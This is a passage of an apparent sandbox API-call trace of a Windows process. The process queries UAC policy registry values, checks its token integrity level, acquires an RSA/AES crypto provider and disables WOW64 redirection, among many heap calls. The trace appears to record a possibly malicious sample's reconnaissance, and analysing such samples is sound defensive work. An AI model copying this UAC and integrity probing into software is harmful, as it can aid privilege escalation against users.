lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0221.736] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0221.736] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0221.736] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0221.736] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c5a0) returned 1 [0221.736] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49b878) returned 1 [0221.736] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c438) returned 1 [0221.736] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49b888) returned 1 [0221.736] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c558) returned 1 [0221.736] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49b898) returned 1 [0221.736] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c510) returned 1 [0221.736] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49b930) returned 1 [0221.736] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c4c8) returned 1 [0221.736] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49b860) returned 1 [0221.736] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c480) returned 1 [0221.736] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49b968) returned 1 [0221.736] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c3f0) returned 1 [0221.736] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49b978) returned 1 [0221.736] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c3a8) returned 1 [0221.736] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49b988) returned 1 [0221.736] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c360) returned 1 [0221.736] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49b940) returned 1 [0221.736] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c318) returned 1 [0221.736] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49b950) returned 1 [0221.736] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c2d0) returned 1 [0221.737] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49b9d0) returned 1 [0221.737] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c288) returned 1 [0221.737] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49b9e0) returned 1 [0221.737] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c1f8) returned 1 [0221.737] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49b998) returned 1 [0221.737] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c1b0) returned 1 [0221.737] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49b9a8) returned 1 [0221.737] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c168) returned 1 [0221.737] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d1e8) returned 1 [0221.737] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0221.737] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d1f8) returned 1 [0221.737] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c240) returned 1 [0221.737] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c240 [0221.737] RegQueryValueExA (in: hKey=0x38, lpValueName="ConsentPromptBehaviorAdmin", lpReserved=0x0, lpType=0x18fb9c, lpData=0x0, lpcbData=0x18fba4*=0x0 | out: lpType=0x18fb9c*=0x4, lpData=0x0, lpcbData=0x18fba4*=0x4) returned 0x0 [0221.737] RegQueryValueExA (in: hKey=0x38, lpValueName="ConsentPromptBehaviorAdmin", lpReserved=0x0, lpType=0x18fb9c, lpData=0x49c240, lpcbData=0x18fba4*=0x4 | out: lpType=0x18fb9c*=0x4, lpData=0x49c240*=0x5, lpcbData=0x18fba4*=0x4) returned 0x0 [0221.737] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c240) returned 1 [0221.737] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0221.737] RegEnumValueA (in: hKey=0x38, dwIndex=0x0, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorAdmin", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0221.737] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x10) returned 0x49d5e8 [0221.737] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d1f8 [0221.737] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0221.737] RegEnumValueA (in: hKey=0x38, dwIndex=0x1, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorUser", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0221.737] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d1e8 [0221.737] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c240 [0221.737] RegEnumValueA (in: hKey=0x38, dwIndex=0x2, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableInstallerDetection", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0221.737] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d208 [0221.737] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0221.737] RegEnumValueA (in: hKey=0x38, dwIndex=0x3, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableLUA", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0221.737] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d218 [0221.737] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c168 [0221.738] RegEnumValueA (in: hKey=0x38, dwIndex=0x4, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableSecureUIAPaths", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0221.738] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x20) returned 0x49b860 [0221.738] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d5e8) returned 1 [0221.738] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d228 [0221.738] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c1b0 [0221.738] RegEnumValueA (in: hKey=0x38, dwIndex=0x5, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableUIADesktopToggle", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0221.738] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d238 [0221.738] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c1f8 [0221.738] RegEnumValueA (in: hKey=0x38, dwIndex=0x6, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableVirtualization", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0221.738] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d248 [0221.738] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c288 [0221.738] RegEnumValueA (in: hKey=0x38, dwIndex=0x7, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="PromptOnSecureDesktop", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0221.738] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d258 [0221.738] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c2d0 [0221.738] RegEnumValueA (in: hKey=0x38, dwIndex=0x8, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ValidateAdminCodeSignatures", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0221.738] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x30) returned 0x49b930 [0221.738] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49b860) returned 1 [0221.738] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d268 [0221.738] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c318 [0221.738] RegEnumValueA (in: hKey=0x38, dwIndex=0x9, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="dontdisplaylastusername", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0221.738] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d278 [0221.738] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c360 [0221.738] RegEnumValueA (in: hKey=0x38, dwIndex=0xa, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticecaption", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0221.738] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d288 [0221.738] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c3a8 [0221.738] RegEnumValueA (in: hKey=0x38, dwIndex=0xb, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticetext", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0221.738] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d298 [0221.739] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c3f0 [0221.739] RegEnumValueA (in: hKey=0x38, dwIndex=0xc, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="scforceoption", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0221.739] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c480 [0221.739] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49b930) returned 1 [0221.739] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d2a8 [0221.739] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c4c8 [0221.739] RegEnumValueA (in: hKey=0x38, dwIndex=0xd, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="shutdownwithoutlogon", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0221.739] RegEnumValueA (in: hKey=0x38, dwIndex=0xe, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="undockwithoutlogon", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0221.739] RegEnumValueA (in: hKey=0x38, dwIndex=0xf, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0221.739] RegEnumValueA (in: hKey=0x38, dwIndex=0x10, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0221.739] RegQueryValueExA (in: hKey=0x38, lpValueName="PromptOnSecureDesktop", lpReserved=0x0, lpType=0x18fb9c, lpData=0x0, lpcbData=0x18fba4*=0x0 | out: lpType=0x18fb9c*=0x4, lpData=0x0, lpcbData=0x18fba4*=0x4) returned 0x0 [0221.739] RegQueryValueExA (in: hKey=0x38, lpValueName="PromptOnSecureDesktop", lpReserved=0x0, lpType=0x18fb9c, lpData=0x49c480, lpcbData=0x18fba4*=0x4 | out: lpType=0x18fb9c*=0x4, lpData=0x49c480*=0x1, lpcbData=0x18fba4*=0x4) returned 0x0 [0221.739] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c480) returned 1 [0221.739] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c5a0) returned 1 [0221.739] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49b8a8) returned 1 [0221.739] RegCloseKey (hKey=0x38) returned 0x0 [0221.739] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x18fc14 | out: TokenHandle=0x18fc14*=0x38) returned 1 [0221.739] GetTokenInformation (in: TokenHandle=0x38, TokenInformationClass=0x14, TokenInformation=0x18fc10, TokenInformationLength=0x4, ReturnLength=0x18fc0c | out: TokenInformation=0x18fc10, ReturnLength=0x18fc0c) returned 1 [0221.739] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x18fc00 | out: TokenHandle=0x18fc00*=0xc4) returned 1 [0221.740] GetTokenInformation (in: TokenHandle=0xc4, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x18fbfc | out: TokenInformation=0x0, ReturnLength=0x18fbfc) returned 0 [0221.740] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c5a0 [0221.740] GetTokenInformation (in: TokenHandle=0xc4, TokenInformationClass=0x19, TokenInformation=0x49c5a0, TokenInformationLength=0x14, ReturnLength=0x18fbfc | out: TokenInformation=0x49c5a0, ReturnLength=0x18fbfc) returned 1 [0221.740] GetSidSubAuthorityCount (pSid=0x49c5a8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000)) returned 0x49c5a9 [0221.740] GetSidSubAuthority (pSid=0x49c5a8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000), nSubAuthority=0x0) returned 0x49c5b0 [0221.740] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c5a0) returned 1 [0221.740] NtClose (Handle=0xc4) returned 0x0 [0221.740] GetSystemInfo (in: lpSystemInfo=0x18fd48 | out: lpSystemInfo=0x18fd48*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0x1, dwNumberOfProcessors=0x1, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0221.740] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x6c) returned 0x49b860 [0221.740] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c5a0 [0221.740] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName=0x0) returned 0xc4 [0221.740] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c480 [0221.740] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c438 [0221.740] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c558 [0221.740] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c510 [0221.740] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x5000) returned 0x9a0048 [0221.742] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c4c8 [0221.742] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c4c8) returned 1 [0221.742] CryptAcquireContextW (in: phProv=0x18fd5c, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18fd5c*=0x5a2038) returned 1 [0221.762] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x9a0048) returned 1 [0221.762] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49b8d8 [0221.762] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49b960 [0221.762] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c4c8 [0221.762] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49b9e8 [0221.762] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49ba70 [0221.762] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c3f0 [0221.762] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49baf8 [0221.762] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c3a8 [0221.762] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x5000) returned 0x9a0048 [0221.762] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c360 [0221.762] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c360) returned 1 [0221.762] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0221.772] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x9a0048) returned 1 [0221.772] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x59cd10, lpbSaclPresent=0x18fd10, pSacl=0x18fd64, lpbSaclDefaulted=0x18fd10 | out: lpbSaclPresent=0x18fd10, pSacl=0x18fd64, lpbSaclDefaulted=0x18fd10) returned 1 [0221.772] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c360 [0221.772] CreateEventA (lpEventAttributes=0x18fd58, bManualReset=1, bInitialState=0, lpName="") returned 0x110 [0221.772] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c360) returned 1 [0221.772] GetLastError () returned 0x0 [0221.772] LocalFree (hMem=0x59cd10) returned 0x0 [0221.772] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c360 [0221.773] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x5000) returned 0x9a0048 [0221.773] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c318 [0221.773] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c318) returned 1 [0221.773] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0221.776] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x9a0048) returned 1 [0221.776] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x59cd10, lpbSaclPresent=0x18fd10, pSacl=0x18fd64, lpbSaclDefaulted=0x18fd10 | out: lpbSaclPresent=0x18fd10, pSacl=0x18fd64, lpbSaclDefaulted=0x18fd10) returned 1 [0221.776] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c318 [0221.776] CreateEventA (lpEventAttributes=0x18fd58, bManualReset=1, bInitialState=0, lpName="") returned 0x114 [0221.776] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c318) returned 1 [0221.776] GetLastError () returned 0x0 [0221.776] LocalFree (hMem=0x59cd10) returned 0x0 [0221.776] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c318 [0221.776] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x5000) returned 0x9a0048 [0221.776] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c2d0 [0221.776] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c2d0) returned 1 [0221.776] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0221.778] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x9a0048) returned 1 [0221.778] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x59cd10, lpbSaclPresent=0x18fd10, pSacl=0x18fd64, lpbSaclDefaulted=0x18fd10 | out: lpbSaclPresent=0x18fd10, pSacl=0x18fd64, lpbSaclDefaulted=0x18fd10) returned 1 [0221.778] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c2d0 [0221.778] CreateEventA (lpEventAttributes=0x18fd58, bManualReset=1, bInitialState=0, lpName="") returned 0x118 [0221.778] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c2d0) returned 1 [0221.778] GetLastError () returned 0x0 [0221.778] LocalFree (hMem=0x59cd10) returned 0x0 [0221.778] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x2800) returned 0x9a0048 [0221.778] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bb80 [0221.778] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c2d0 [0221.778] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd8c | out: OldValue=0x18fd8c*=0x0) returned 1 [0221.778] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x2800) returned 0x9a2850 [0221.778] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c288 [0221.778] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c288) returned 1 [0221.778] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x10) returned 0x49d5e8 [0221.779] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d2d8 [0221.779] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c288 [0221.779] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c1f8 [0221.779] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c1f8) returned 1 [0221.779] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c288) returned 1 [0221.779] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d2d8) returned 1 [0221.779] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d5e8) returned 1 [0221.779] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x9a2850) returned 1 [0221.779] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x2800) returned 0x9a2850 [0221.779] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c288 [0221.779] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c288) returned 1 [0221.779] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c288 [0221.779] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x10) returned 0x49d5e8 [0221.779] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d2d8 [0221.779] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c1f8 [0221.779] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c288) returned 1 [0221.779] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d2c8 [0221.779] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c288 [0221.779] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x10) returned 0x49d600 [0221.779] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d2b8 [0221.779] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c1b0 [0221.779] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d2a8 [0221.779] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c168 [0221.779] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c1f8) returned 1 [0221.779] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d2d8) returned 1 [0221.779] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c288) returned 1 [0221.779] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d2c8) returned 1 [0221.779] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d5e8) returned 1 [0221.779] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c288 [0221.780] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c288) returned 1 [0221.780] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c288 [0221.780] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c288) returned 1 [0221.780] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x10) returned 0x49d5e8 [0221.780] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d2c8 [0221.780] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c288 [0221.780] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d2d8 [0221.780] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c1f8 [0221.780] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c1b0) returned 1 [0221.780] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d2b8) returned 1 [0221.780] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c168) returned 1 [0221.780] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d2a8) returned 1 [0221.780] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d600) returned 1 [0221.780] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x10) returned 0x49d600 [0221.780] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d2a8 [0221.780] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c168 [0221.780] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x8) returned 0x49d2b8 [0221.780] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c1b0 [0221.780] 